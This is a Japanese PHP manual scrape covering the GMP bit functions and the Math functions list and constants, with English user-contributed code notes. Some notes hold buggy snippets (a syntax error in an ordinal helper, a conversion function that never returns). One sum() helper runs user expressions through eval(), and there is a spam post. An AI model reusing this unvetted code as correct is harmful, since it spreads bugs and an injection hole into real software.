(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gmp_testbit — ビットが設定されているかどうかを調べる

説明

gmp_testbit ( GMP|int|string $num , int $index ) : bool

指定したビットが設定されているかどうかを調べます。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

index

調べたいビット。

返り値

リソース $a にビットが設定されている場合に true、 それ以外の場合に false を返します。

エラー / 例外

index に負の数を指定すると E_WARNING が発生し、false を返します。

例

例1 gmp_testbit() の例

<?php
$n = gmp_init("1000000");
var_dump(gmp_testbit($n, 1));
gmp_setbit($n, 1);
var_dump(gmp_testbit($n, 1));
?>

上の例の出力は以下となります。

bool(false)
bool(true)

参考

  • gmp_setbit() - ビットを設定する
  • gmp_clrbit() - ビットをクリアする

User Contributed Notes

bluej100@gmail 19-Jul-2007 02:48
gmp_testbit will be very useful for my (over 64-bit) bitmask checking.

In the meantime, I think these are the best replacements.

Mostly full:

<?php
(gmp_scan1($a, $index) == $index)
?>

Mostly empty:

<?php
(gmp_scan0($a, $index) != $index)
?>

Still worst-case O(N), though.


ビット XOR を計算する

  • ≪ gmp_testbit
  • GMP ≫
  • PHP Manual
  • GMP 関数
  • ビット XOR を計算する

gmp_xor

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_xor — ビット XOR を計算する

説明

gmp_xor ( GMP|int|string $num1 , GMP|int|string $num2 ) : GMP

2 つの GMP 数のビット排他的論理和 (XOR) を計算します。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

GMP オブジェクトを返します。

例

例1 gmp_xor() の例

<?php
$xor1 = gmp_init("1101101110011101", 2);
$xor2 = gmp_init("0110011001011001", 2);

$xor3 = gmp_xor($xor1, $xor2);

echo gmp_strval($xor3, 2) . "\n";
?>

上の例の出力は以下となります。

1011110111000100

User Contributed Notes

greenone 02-Jul-2008 12:26
here's a fast alternative to compute the xor-value of two bitstrings of an arbitrary (but same) length.

<?php
/**
 * xor-op for bitstrings of arbitrary length
 * bitstrings must have same length
 *
 * @param string $o1
 * @param string $o2
 * @return string
 */
function bitxor($o1, $o2) {
    $xorWidth = PHP_INT_SIZE*8;
    $o1 = str_split($o1, $xorWidth);
    $o2 = str_split($o2, $xorWidth);
    $res = '';
    $runs = count($o1);
    for($i=0;$i<$runs;$i++)
        $res .= decbin(bindec($o1[$i]) ^ bindec($o2[$i]));
    return $res;
}
?>
kimcbrowne at hotmail dot com 03-Oct-2005 07:48
To be unbreakable XOR encryption must have a key that is totally random and is never re-used.  If you use a key a second time, it can be broken.  This can be confirmed by reading the page at http://en.wikipedia.org/wiki/One-time_pad.

Although I am not an expert on cryptography, I understand that decyphering involves recognizing patterns and that it would be possible to decrypt code that was encoded using XOR with the same key if there were enough samples to examine.  Maintaining unique keys for each encryption at both encryption and decryption points to ensure 100 percent unbreakability has security problems of its own - where and how are the keys stored and how are they transmitted to the decryption points?
bukaj at bukaj dot net 28-Mar-2005 05:38
XOR encryption is an ultimate encryption algorithm. It can't be be broken. It is used to encrypt stealth submarine's orders. I cannot agree with "kid-sister" post below. If you use vast key (as long as encrypted message) which is random (space noise recorded on a cd), the encrypted message is also radnom - impossible to decrypt without key. Under those conditions, XOR is strongest encryption algorithm ever known.
patm at pureconnection dot net 07-Jan-2004 05:22
XOR encryption only works if the key is at liest the same size as the plaintext, and the key is perfectly random. And no, rand() is not perfectly random.
mikko at entris dot net 15-Jul-2002 02:33
The logical XOR can be used for encrypting data. Use resource A as your original text and resource B as the key. Be sure to use long enough key so that the key doesn't loop. Decryption works the same way, input encrypted text as res A and key as res B.


GMP クラス

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

はじめに

GMP 数。このオブジェクトは、オーバーロードされた 代数演算子, ビット演算子, 比較演算子 をサポートしています。

注意:

GMP オブジェクトを操作するオブジェクト指向インターフェイスは用意されていません。 手続き型の GMP API を使いましょう。

GMP implements Serializable {
}

User Contributed Notes

There are no user contributed notes for this page.


数学関数

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Math 関数
    • abs — 絶対値
    • acos — 逆余弦（アークコサイン）
    • acosh — 逆双曲線余弦（アークハイパボリックコサイン）
    • asin — 逆正弦（アークサイン）
    • asinh — 逆双曲線正弦（アークハイパボリックサイン）
    • atan2 — 2 変数のアークタンジェント
    • atan — 逆正接（アークタンジェント）
    • atanh — 逆双曲線正接（アークハイパボリックタンジェント）
    • base_convert — 数値の基数を任意に変換する
    • bindec — 2 進数 を 10 進数に変換する
    • ceil — 端数の切り上げ
    • cos — 余弦（コサイン）
    • cosh — 双曲線余弦（ハイパボリックコサイン）
    • decbin — 10 進数を 2 進数に変換する
    • dechex — 10 進数を 16 進数に変換する
    • decoct — 10 進数を 8 進数に変換する
    • deg2rad — 度単位の数値をラジアン単位に変換する
    • exp — e の累乗を計算する
    • expm1 — 値がゼロに近い時にでも精度を保つために exp(number) - 1 を返す
    • fdiv — IEEE 754 に従い、数値の除算を行う
    • floor — 端数の切り捨て
    • fmod — 引数で除算をした際の剰余を返す
    • getrandmax — 乱数の最大値を取得する
    • hexdec — 16 進数を 10 進数に変換する
    • hypot — 直角三角形の斜辺の長さを計算する
    • intdiv — 整数値の除算
    • is_finite — 値が有限の数値であるかどうかを判定する
    • is_infinite — 値が無限大であるかどうかを判定する
    • is_nan — 値が非数かどうかを判定する
    • lcg_value — 複合線形合同法
    • log10 — 底が 10 の対数
    • log1p — 値がゼロに近い時にでも精度を保つ方法で計算した log(1 + number) を返す
    • log — 自然対数
    • max — 最大値を返す
    • min — 最小値を返す
    • mt_getrandmax — 乱数値の最大値を表示する
    • mt_rand — メルセンヌ・ツイスター乱数生成器を介して乱数値を生成する
    • mt_srand — メルセンヌ・ツイスター乱数生成器にシードを指定する
    • octdec — 8 進数を 10 進数に変換する
    • pi — 円周率の値を得る
    • pow — 指数表現
    • rad2deg — ラジアン単位の数値を度単位に変換する
    • rand — 乱数を生成する
    • round — 浮動小数点数を丸める
    • sin — 正弦（サイン）
    • sinh — 双曲線正弦（ハイパボリックサイン）
    • sqrt — 平方根
    • srand — 乱数生成器を初期化する
    • tan — 正接（タンジェント）
    • tanh — 双曲線正接（ハイパボリックタンジェント）

User Contributed Notes

There are no user contributed notes for this page.


はじめに

これらの数学関数は、実行するコンピューターの int型および float型の範囲で のみ値を処理します。 (これは、現在、それぞれ、C言語のlongおよびdoubleに対応します。) より大きな数を処理する必要がある場合には、 任意精度数学関数の使用をお勧めします。

マニュアルの算術演算子 のページも参照ください。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数は、PHP コアに含まれており、常に利用可能です。

Math の定数
定数 | 値 | 説明 | 使用可能
M_PI | 3.14159265358979323846 | パイ（円周率） |
M_E | 2.7182818284590452354 | e（自然対数の底） |
M_LOG2E | 1.4426950408889634074 | log_2 e |
M_LOG10E | 0.43429448190325182765 | log_10 e |
M_LN2 | 0.69314718055994530942 | log_e 2 |
M_LN10 | 2.30258509299404568402 | log_e 10 |
M_PI_2 | 1.57079632679489661923 | pi/2 |
M_PI_4 | 0.78539816339744830962 | pi/4 |
M_1_PI | 0.31830988618379067154 | 1/pi |
M_2_PI | 0.63661977236758134308 | 2/pi |
M_SQRTPI | 1.77245385090551602729 | sqrt(pi) | PHP 5.2.0
M_2_SQRTPI | 1.12837916709551257390 | 2/sqrt(pi) |
M_SQRT2 | 1.41421356237309504880 | sqrt(2) |
M_SQRT3 | 1.73205080756887729352 | sqrt(3) | PHP 5.2.0
M_SQRT1_2 | 0.70710678118654752440 | 1/sqrt(2) |
M_LNPI | 1.14472988584940017414 | log_e(pi) | PHP 5.2.0
M_EULER | 0.57721566490153286061 | オイラー定数 | PHP 5.2.0
PHP_ROUND_HALF_UP | 1 | 端数を切り上げる | PHP 5.3.0
PHP_ROUND_HALF_DOWN | 2 | 端数を切り捨てる | PHP 5.3.0
PHP_ROUND_HALF_EVEN | 3 | 端数を偶数に丸める | PHP 5.3.0
PHP_ROUND_HALF_ODD | 4 | 端数を奇数に丸める | PHP 5.3.0
NAN | NAN (float) | 非数値 |
INF | INF (float) | 無限 |

PHP のバージョンが明記されていない定数は、すべて PHP 5.0.0 以降で使用可能です。

User Contributed Notes

Kira-Bianca dot Hinz at web dot de 01-Apr-2020 04:51
Caution when using variables with the value NAN (or directly NAN, which would not be logical) if the value is converted in any form (integer, string or other non-float format)!
In that case, NAN is converted to 0. (e.g. as an index in an array, argument of a method that takes it as a non-float parameter, etc.). This bug has been reported several times, but is still present in the current version PHP 7.3.15.

Example 1:
$array = [0 =>  'zero', 1 => 'one', 2 => 'two'];
$index = NAN;
echo $array[$index]; // echo 'zero' and not as axcepted throws an exception or at least a warning 'undefined offset NAN ...'

Example 2:
function f((int) $p) { return $p; }
echo f(NAN); // echo 0 because the argument (NAN) has been converted to integer (0)

It would have to be checked in both cases explicitly for is_nan():
1: if(is_nan($index)){
      <throw Exception>
   }else{
      echo $array[$index];
   };

2: function f($p){ // without converting!!!
      if(is_nan($p)){
         <throw Exception>
      }else{
         return (int)$p; // actually a correct conversion  to Integer would have to be checked because the parser does not check this here.
      };
   }
Hayley Watson 16-Aug-2017 12:11
From PHP 7.2.0, the PHP_FLOAT_* constants are provided to describe the properties of floating point numbers that can be stored; PHP_FLOAT_MAX, for example, is analogous to PHP_INT_MAX and represents the largest possible floating-point number.
steve at websmithery dot co dot uk 12-Jun-2017 11:02
Another observation on INF.

Division by zero results in INF:

<?php
var_dump(1/0); // float(INF)
?>

BUT a 'Division by zero' warning is issued.
pemapmodder1970 at gmail dot com 23-Jun-2016 03:33
Although INF can be used for comparison against normal numbers and as a directed number, and behaves as reciprocal of zero, it is not like limit INF tends to infinity. These operations do not work:

<?php
var_dump(INF / INF); // float(NAN)
var_dump(INF - INF); // float(NAN)
?>

However, it works with arc-tangent:
<?php
var_dump(atan(INF) / M_PI); // float(0.5)
var_dump(atan2(INF, INF) / M_PI); // float(0.25)
var_dump(atan2(1, INF) / M_PI); // float(0)
?>
md2perpe at gmail dot com 29-Sep-2015 02:43
I just learnt of INF today and found out that it can be used in comparisons:

    echo 5000 < INF ? 'yes' : 'no';       // outputs 'yes'
    echo INF < INF ? 'yes' : 'no';        // outputs 'no'
    echo INF <= INF ? 'yes' : 'no';       // outputs 'yes'
    echo INF == INF ? 'yes' : 'no';       // outputs 'yes'

You can also take its negative:

    echo -INF < -5000 ? 'yes' : 'no';    // outputs 'yes'

Division by INF is allowed:

    echo 1/INF;    // outputs '0'
Hayley Watson 22-Mar-2012 12:20
There are also the predefined PHP_INT_MAX and PHP_INT_SIZE constants, that describe the range of possible integer values.


Math 関数

目次

  • abs — 絶対値
  • acos — 逆余弦（アークコサイン）
  • acosh — 逆双曲線余弦（アークハイパボリックコサイン）
  • asin — 逆正弦（アークサイン）
  • asinh — 逆双曲線正弦（アークハイパボリックサイン）
  • atan2 — 2 変数のアークタンジェント
  • atan — 逆正接（アークタンジェント）
  • atanh — 逆双曲線正接（アークハイパボリックタンジェント）
  • base_convert — 数値の基数を任意に変換する
  • bindec — 2 進数 を 10 進数に変換する
  • ceil — 端数の切り上げ
  • cos — 余弦（コサイン）
  • cosh — 双曲線余弦（ハイパボリックコサイン）
  • decbin — 10 進数を 2 進数に変換する
  • dechex — 10 進数を 16 進数に変換する
  • decoct — 10 進数を 8 進数に変換する
  • deg2rad — 度単位の数値をラジアン単位に変換する
  • exp — e の累乗を計算する
  • expm1 — 値がゼロに近い時にでも精度を保つために exp(number) - 1 を返す
  • fdiv — IEEE 754 に従い、数値の除算を行う
  • floor — 端数の切り捨て
  • fmod — 引数で除算をした際の剰余を返す
  • getrandmax — 乱数の最大値を取得する
  • hexdec — 16 進数を 10 進数に変換する
  • hypot — 直角三角形の斜辺の長さを計算する
  • intdiv — 整数値の除算
  • is_finite — 値が有限の数値であるかどうかを判定する
  • is_infinite — 値が無限大であるかどうかを判定する
  • is_nan — 値が非数かどうかを判定する
  • lcg_value — 複合線形合同法
  • log10 — 底が 10 の対数
  • log1p — 値がゼロに近い時にでも精度を保つ方法で計算した log(1 + number) を返す
  • log — 自然対数
  • max — 最大値を返す
  • min — 最小値を返す
  • mt_getrandmax — 乱数値の最大値を表示する
  • mt_rand — メルセンヌ・ツイスター乱数生成器を介して乱数値を生成する
  • mt_srand — メルセンヌ・ツイスター乱数生成器にシードを指定する
  • octdec — 8 進数を 10 進数に変換する
  • pi — 円周率の値を得る
  • pow — 指数表現
  • rad2deg — ラジアン単位の数値を度単位に変換する
  • rand — 乱数を生成する
  • round — 浮動小数点数を丸める
  • sin — 正弦（サイン）
  • sinh — 双曲線正弦（ハイパボリックサイン）
  • sqrt — 平方根
  • srand — 乱数生成器を初期化する
  • tan — 正接（タンジェント）
  • tanh — 双曲線正接（ハイパボリックタンジェント）

User Contributed Notes

pradhumansaini2 at gmail dot com 06-Mar-2021 06:17
Ajay Singh Deol is commonly known as Sunny Deol which is a famous Indian Television actor and a Politician as well. Want to know about the info then you can check it in your browser such as Sunny Deol age where you can get about his complete information.
For your information, Sunny Deol is the person who won the Filmfare award for the best actor
Anonymous 02-Feb-2018 06:44
And the reason I needed a Factorial function is because I there were no nPr or nCr functions native to PHP, either.

function n_pick_r($n,$r){$n=(int)$n; $r=(int)$r;return (fact($n)/fact($n-$r));}
function n_choose_r($n,$r){$n=(int)$n; $r=(int)$r;return (n_pick_r($n,$r)/fact($r));}

Hope that helps someone!
exmple:https://vb.3dlat.com/
Aiden880 28-Mar-2015 01:47
Lowest Common Denominator:
function lcd($num, $start) {
    while($num % $start != 0) {
        $start++;
    }
    return $start;
}
capripot at gmail dot com 18-Jul-2012 09:48
Another simpler function to check a number with the luhn algorithm :

<?php
function luhn($num){
    if(!$num)
        return false;
    $num = array_reverse(str_split($num));
    $add = 0;
    foreach($num as $k => $v){
        if($k%2)
            $v = $v*2;
        $add += ($v >= 10 ? $v - 9 : $v);
    }
    return ($add%10 == 0);
}
?>

Don't know if foreach and arrays operations are faster than while and substr, but I feel it clearer.
AsherMaximum gmail 18-Apr-2011 09:40
Here's a simple way way to convert a number to an ordinal number I created:

$i == the number to convert. Put this inside a for loop if you need to populate an array.

<?php
// change increment variable to ordinal number.
$n1 = $i % 100; //first remove all but the last two digits

$n2 = ($n1 < 20 ? $1 : $i % 10; //remove all but last digit unless the number is in the teens, which all should be 'th'

//$n is now used to determine the suffix.
$ord = ($n2==1 ? $i.'st' : ( ($n2==2 ? $i.'nd' : ($n2==3 ? $i.'rd' : $i.'th') ) ) )
?>
php at keith tyler dot com 04-Nov-2010 11:09
Another ordinal method, which does not involve utilizing date functions:

<?php
sprintf( "%d%s", $t, array_pop( array_slice( array_merge( array( "th","st","nd","rd"), array_fill( 4,6,"th")), $t%10, 1)));'
?>
lummox 02-Feb-2008 07:24
Wouldn't the following function do the same but a lot easier than the one in the comment before?

function trimInteger($targetNumber,$newLength) {
    return $targetNumber%pow(10,$newLength);
}
Mike 09-Jan-2008 07:23
//had a mistake in last post, heres the corrected version

/*
Just a simple function to trim digits from the left side of an integer. TRIM DOWN TO 4-> (ie. 987654 => 7654)
*/

function trimInteger($targetNumber,$newLength) {

    $digits = pow(10,$newLength);

    $s = ($targetNumber/ $digits); //make the last X digits the                  decimal part

    $t = floor($targetNumber / $digits); //drop the last X digits (the decimal part)

    $h = $s - $t; //remove all  but the decimal part

    $newInteger = ($h*$digits); //make the everything after the decimal point the new number

    return $newInteger;
}
barry at megaspace dot com 02-Dec-2006 09:14
Here's a least common denominator (lcd) function:

$array = array(3,4,6,8,18,2);

    function lcd($array,$x) {

        $mod_sum = 0;

        for($int=1;$int < count($array);$int++) {
            $modulus[$int] = ($array[0]*$x) % ($array[$int]);
            $mod_sum = $mod_sum + $modulus[$int];
        }

        if (!$mod_sum) {
            echo "LCD: ".($array[0]*$x)."\n";
        }

        else {
            lcd($array,$x+1);
        }

    }

lcd($array,1);
tembenite at gmail dot com 06-Nov-2006 01:36
To add to what Cornelius had, I have written a function that will take an array of numbers and return the least common multiple of them:

function lcm_arr($items){
    //Input: An Array of numbers
    //Output: The LCM of the numbers
    while(2 <= count($items)){
        array_push($items, lcm(array_shift($items), array_shift($items)));
    }
    return reset($items);
}

//His Code below with $'s added for vars

function gcd($n, $m) {
   $n=abs($n); $m=abs($m);
   if ($n==0 and $m==0)
       return 1; //avoid infinite recursion
   if ($n==$m and $n>=1)
       return $n;
   return $m<$n?gcd($n-$m,$n):gcd($n,$m-$n);
}

function lcm($n, $m) {
   return $m * ($n/gcd($n,$m));
}
edward at edwardsun dot com 19-Jul-2006 06:24
well just a note.. maybe i'm a bit stupid.. but remember to use pow() rather than the "^" sign for exponents.. as it took me 5 minutes to figure out why it wasn't working.
marasek.SPAMLESS at telton.de 08-Jun-2006 05:23
I could not resist to do a simpler version of the ordinal function:
<?php
function ordinal($num)
{
    $num = (int)$num;
    $digit = substr($num, -1, 1);
    $ord = "th";
    switch($digit)
    {
        case 1: $ord = "st"; break;
        case 2: $ord = "nd"; break;
        case 3: $ord = "rd"; break;
    break;
    }
return $num.$ord;
}
?>
One could replace the typecast with

<?php
if($num===NULL or $num==="")
{return NULL;}
?>

to get an empty result instead of "0th" in case $num is empty too.
moikboy (nospam!) moikboy (nospam!) hu 10-May-2006 01:15
I think, this is the optimal code for calculating factorials:

<?php
function fact($int){
    if($int<2)return 1;
    for($f=2;$int-1>1;$f*=$int--);
    return $f;
};
?>

And another one for calculating the $int-th Fibonacci-number:

<?php
function fib($int){
    static $fibTable=array();
    return empty($fibTable[$int])?$fibTable[$int] = $int>1?fib($int-2)+fib($int-1):1:$fibTable[$int];
};
?>
Florian 03-Mar-2006 01:36
A function that simulates the sum operator. (http://en.wikipedia.org/wiki/Sum). Be careful with the expression because it may cause a security hole; note the single quotes to don't parse the "$".
<?php
# @param    string    $expr    expression to evaluate (for example (2*$x)^2+1)
# @param    string    $var      dummy variable (for example "x")
# @param    integer    $start
# @param    integer    $end
# @param    integer    $step

function sum($expr,$var,$start,$end,$step = 1) {
    $expr = str_replace(';','',$expr);
    $var = str_replace('$','',$var);
    $start = (int)$start;    $end = (int)$end;    $step = (int)$step;    $sum = 0;

    for ($i = $start; $i <= $end; $i = $i + $step) {
        $_expr = str_replace('$'.$var,$i,$expr);
        $_eval = '$_result = '.$_expr.'; return $_result;';
        $_result = eval($_eval);
        if($result === FALSE) return "SYNTAX ERROR : $expr";
        $sum += $_result;
    }
    return (int)$sum;
}
?>
peter-stangl at t-online dot de 01-Feb-2006 03:16
I needed to approximate an integral because i was not able to calculate it, so i wrote this function. It approximates an integral with the composite Simpson's rule.
More information on Simpson's rule: http://en.wikipedia.org/wiki/Simpson%27s_rule

<?php

function simpsonf($x){
// returns f(x) for integral approximation with composite Simpson's rule
   return(pow((1+pow($x, (-4))), 0.5));
}
function simpsonsrule($a, $b, $n){
// approximates integral_a_b f(x) dx with composite Simpson's rule with $n intervals
// $n has to be an even number
// f(x) is defined in "function simpsonf($x)"
   if($n%2==0){
      $h=($b-$a)/$n;
      $S=simpsonf($a)+simpsonf($b);
      $i=1;
      while($i <= ($n-1)){
         $xi=$a+$h*$i;
         if($i%2==0){
            $S=$S+2*simpsonf($xi);
         }
         else{
            $S=$S+4*simpsonf($xi);
         }
         $i++;
      }
      return($h/3*$S);
      }
   else{
      return('$n has to be an even number');
   }
}

?>
daniel at g-loc dot org 01-Dec-2005 10:01
If you're an aviator and needs to calculate windcorrection angles and groundspeed (e.g. during flightplanning) this can be very useful.

$windcorrection = rad2deg(asin((($windspeed * (sin(deg2rad($tt - ($winddirection-180))))/$tas))));
$groundspeed = $tas*cos(deg2rad($windcorrection)) + $windspeed*cos(deg2rad($tt-($winddirection-180)));

You can probably write these lines more beautiful, but they work!
monte at ohrt dot com 18-Oct-2005 06:37
This is an efficient method of calculating the binomial coefficient C(n,k). This code was derived from Owant: Mastering Algorithms with Perl.

<?php
   // calculate binomial coefficient
   function binomial_coeff($n, $k) {

      $j = $res = 1;

      if($k < 0 || $k > $n)
         return 0;
      if(($n - $k) < $k)
         $k = $n - $k;

      while($j <= $k) {
         $res *= $n--;
         $res /= $j++;
      }

      return $res;

   }
?>

If you compiled php with --enable-bcmath, you can get full integer values of extremely large numbers by replacing:

$res *= $n--;
$res /= $j++;

with:

$res = bcmul($res, $n--);
$res = bcdiv($res, $j++);
bjcffnet at gmail dot com 26-Jul-2005 04:57
thearbitcouncil at gmail dot com, you could just use array_sum():
<?php
function average($arr)
{
   if (!is_array($arr)) return false;

   return array_sum($arr)/count($arr);
}

$array = array(5, 10, 15);
echo average($array); // 10
?>
tmpa at yahoo dot com 19-Feb-2005 12:42
while joogat's one line function is short, it is probably better to calculate factorial iteratively instead of recursively. keep in mind if you want large factorials, you'll need to use some sort of arbitrary precision integer or perhaps the BCMath functions. then again, unless you're trying to do large numbers (170! is the highest that you can do that does not return infinity) you probably won't notice any time difference.
<?php
function factorial($in) {
    // 0! = 1! = 1
    $out = 1;

    // Only if $in is >= 2
    for ($i = 2; $i <= $in; $i++) {
        $out *= $i;
    }

    return $out;
}
?>
thearbitcouncil at gmail dot com 06-Jan-2005 02:32
Two functions I didn't find elsewhere... one to compute mean of an array of numbers, and another to computer variance of a sample of numbers. Both take an array of numbers as arguments. Not much error checking, or optimization...

(note: variance function uses the average function...)

<?php

function average($arr)
{
    if (!count($arr)) return 0;

    $sum = 0;
    for ($i = 0; $i < count($arr); $i++)
    {
        $sum += $arr[$i];
    }

    return $sum / count($arr);
}

function variance($arr)
{
    if (!count($arr)) return 0;

    $mean = average($arr);

    $sos = 0;    // Sum of squares
    for ($i = 0; $i < count($arr); $i++)
    {
        $sos += ($arr[$i] - $mean) * ($arr[$i] - $mean);
    }

    return $sos / (count($arr)-1);  // denominator = n-1; i.e. estimating based on sample
                                    // n-1 is also what MS Excel takes by default in the
                                    // VAR function
}

echo variance(array(4,6,23,15,18)); // echoes 64.7...correct value :)

?>
info at gavinvincent dot co dot uk 17-Nov-2004 04:34
If you need to deal with polar co-ordinates for somereason you will need to convert to and from x,y for input and output in most situations: here are some functions to convert cartesian to polar and polar to cartesian
<?
//returns array of r, theta in the range of 0-2*pi (in radians)
function rect2polar($x,$y)
{
     if(is_numeric($x)&&is_numeric($y))
    {
        $r=sqrt(pow($x,2)+pow($y,2));
        if($x==0)
        {
             if($y>0) $theta=pi()/2;
            else $theta=3*pi()/2;
        }
        else if($x<0) $theta=atan($y/$x)+pi();
        else if($y<0) $theta=atan($y/$x)+2*pi();
        else $theta=atan($y/$x);
        $polar=array("r"=>$r,"theta"=>$theta);
        return $polar;
    }
    else return false;
}

//r must be in radians, returns array of x,y
function polar2rect($r,$theta)
{
 if(is_numeric($r)&&is_numeric($theta))
 {
        $x=$r*cos($theta);
    $y=$r*sin($theta);
    $rect=array("x"=>$x,"y"=>$y);
 }
 else
 {
   return false;
 }
}
?>
help at gjbdesign dot com 25-Sep-2004 09:05
Occasionally a user must enter a number in a form. This function converts fractions to decimals and leaves decimals untouched. Of course, you may wish to round the final output, but that is not included here.

<?php
/*Some example values of $q
$q = "2.5";
$q = "2 1/2";
$q = "5/2";
*/
function Deci_Con($q){
//check for a space, signifying a whole number with a fraction
    if(strstr($q, ' ')){
        $wa = strrev($q);
        $wb = strrev(strstr($wa, ' '));
        $whole = true;//this is a whole number
    }
//now check the fraction part
    if(strstr($q, '/')){
        if($whole==true){//if whole number, then remove the whole number and space from the calculations
              $q = strstr($q, ' ');
        }
$b = str_replace("/","",strstr($q, '/'));//this is the divisor
//isolate the numerator
$c = strrev($q);
$d = strstr($c, '/');
$e = strrev($d);
$a = str_replace("/","",$e);//the pre-final numerator
        if($whole==true){//add the whole number to the calculations
            $a = $a+($wb*$b);//new numerator is whole number multiplied by denominator plus original numerator
        }
$q = $a/$b;//this is now your decimal
return $q;
    }else{
        return $q;//not a fraction, just return the decimal
    }
}?>
pat.mat AT sympatico DOT com 08-Jun-2004 07:36
For people interest in Differential Equations, I've done a function that receive a string like: x^2+x^3 and put it in
2x+3x^2 witch is the differantial of the previous equation.

In the code there is one thing missing: the $string{$i} is often going outOfBound (Uninitialized string offset: 6 in...)
if your error setting is set a little too high... I just dont know how to fix this.

So there is the code for differential equation with (+ and -) only:

<?
function differentiel($equa)
{
    $equa = strtolower($equa);
    echo "Equation de depart: ".$equa."<br>";
    $final = "";

    for($i = 0; $i < strlen($equa); $i++)
    {
        //Make a new string from the receive $equa
        if($equa{$i} == "x" && $equa{$i+1} == "^")
        {
            $final .= $equa{$i+2};
            $final .= "x^";
            $final .= $equa{$i+2}-1;
        }
        elseif($equa{$i} == "+" || $equa{$i} == "-")
        {
            $final .= $equa{$i};
        }
        elseif(is_numeric($equa{$i}) && $i == 0)
        {
            //gerer parenthese et autre terme generaux + gerer ^apres: 2^2
            $final .= $equa{$i}."*";
        }
        elseif(is_numeric($equa{$i}) && $i > 0 && $equa{$i-1} != "^")
        {
            //gerer ^apres: 2^2
            $final .= $equa{$i}."*";
        }
        elseif($equa{$i} == "^")
        {
            continue;
        }
        elseif(is_numeric($equa{$i}) && $equa{$i-1} == "^")
        {
            continue;
        }
        else
        {
            if($equa{$i} == "x")
            {
                $final .= 1;
            }
            else
            {
                $final .= $equa{$i};
            }
        }
    }
    //
    //Manage multiplication add in the previous string $final
    //
    $finalMul = "";
    for($i = 0; $i < strlen($final); $i++)
    {
        if(is_numeric($final{$i}) && $final{$i+1} == "*" && is_numeric($final{$i+2}))
        {
            $finalMul .= $final{$i}*$final{$i+2};
        }
        elseif($final{$i} == "*")
        {
            continue;
        }
        elseif(is_numeric($final{$i}) && $final{$i+1} != "*" && $final{$i-1} == "*")
        {
            continue;
        }
        else
        {
            $finalMul .= $final{$i};
        }
    }
    echo "equa final: ".$finalMul;
}
?>

I know this is not optimal but i've done this quick :)
If you guys have any comment just email me.
I also want to do this fonction In C to add to phpCore maybe soon...
Patoff
florian at shellfire dot de 28-Apr-2004 02:48
Please note that shorter is not always better
(meaning that really short faculty implementation above).

In my opinion, a clearer way to code this is, including a check
for negative or non-integer values.

In order to calculate the faculty of a positive integer,
an iterative way (which might be harder to understand)
is usually a bit faster, but I am using it only for small
values so it is not really important to me:

<?php

    // Calculate the Faculty of a positive int-value
    function iFaculty($a_iFac)
    {
      if ($a_iFac > 0)
      {
          return $a_iFac * $this->iFaculty($a_iFac - 1);
      }
      elseif ($a_iFac == 0)
      {
          return 1;
      }
      else
      {
          return 0;  // Wrong argument!
      }
    }
?>

I've also written another function to calculate the
binomial coefficient of 2 values, I didn't find it anywhere yet so I hope it might help someone (works fine with the above stated faculty-function and ready to be used inside of your own classes!)

<?php

    // calculates the binomial coefficient "n over k" of 2 positive int values
    // for n >= k
    function iBinCoeff($a_iN, $a_iK)
    {
        // the binomial coefficient is defined as n! / [ (n-k)! * k! ]
        return $this->iFaculty($a_iN) / ($this->iFaculty($a_iN - $a_iK) * $this->iFaculty($a_iK));
    }

?>
Chronial "at" cyberpunkuniverse.de 13-Jan-2004 01:47
Here are are a nPr and a nPc function
(had to define NaN - don't know, how to this the "rigth" way)

<?php
define (NaN,acos(1.01));

function nCr($n,$r){
   if ($r > $n)
      return NaN;
   if (($n-$r) < $r)
      return nCr($n,($n-$r));
   $return = 1;
   for ($i=0;$i < $r;$i++){
      $return *= ($n-$i)/($i+1);
   }
   return $return;
}

function nPr($n,$r){
   if ($r > $n)
      return NaN;
   if ($r)
      return $n*(nPr($n-1,$r-1));
   else
      return 1;
}
?>
jl85 at yahoo dot com 05-Oct-2003 04:00
Here's yet another greatest common denominator (gcd) function, a reeeeally small one.

function gcd($n,$m){
if(!$m)return$n;return gcd($m,$n%$m);
}

It works by recursion. Not really sure about it's speed, but it's really small! This won't work on floating point numbers accurately though. If you want a floating point one, you need to have at least PHP 4, and the code would be

function gcd($n,$m){
if(!$m)return$n;return gcd($m,fmod($n,$m));
}
fabien_mornand at yahoo dot fr 30-Sep-2003 03:46
here is an algorithm to calculate gcd of a number. This is Euclid algorithm i was studying in Maths. I've converted it in php for the fun.

<?php
 if($a && $b)
  { $ax=$a; $bx=$b;
   $r=fmod($a,$b);
  if(!$r){$rx=$r;}
   while($r){
    $rx=$r;
    $a=$b;
    $b=$r;
    $r=fmod($a,$b);
    }
   }
echo 'PGCD ('.$ax.' , '.$bx.' ) = '.$rx;
?>
jordanolsommer at imap dot cc 27-Aug-2003 08:07
The reason the bitwise AND ("&") operator works to determine whether a number is odd or even is because odd numbers expressed in binary always have the rightmost (2^0) bit = 1 and even numbers always have the 2^0 bit = 0.

So if you do a " 1 & $num", it will return zero if the number is even (since xxxxxxx0 [the even number in binary] and 00000001 [the 1]) don't share any bits, and will return 1 if the number is odd (xxxxxx1 and 000001).

a clever way of doing things, but $num % 2 would work as well i think :).
jerry dot wilborn at fast dot net 16-Apr-2003 11:10
Here is how to calculate standard deviation in PHP where $samples is an array of incrementing numeric keys and the values are your samples:

$sample_count = count($samples);

for ($current_sample = 0; $sample_count > $current_sample; ++$current_sample) $sample_square[$current_sample] = pow($samples[$current_sample], 2);

$standard_deviation = sqrt(array_sum($sample_square) / $sample_count - pow((array_sum($samples) / $sample_count), 2));
jl85 at yahoo dot com 22-Feb-2003 08:04
Theres another faster way of doing even/odd number checking by using bitwise operators. Don't ask me how it works, I just found this out by experimenting with it (could the editor possibly explain?)

if ((1&$num)) {
 echo "$num is odd";
}

if (!(1&$num)) {
 echo "$num is even";
}

How it works is (1&$num) returns a 1 for odd numbers and returns 0 when it's an even number.
nazgul26 (at_sign) windfox dot net 08-Dec-2002 02:58
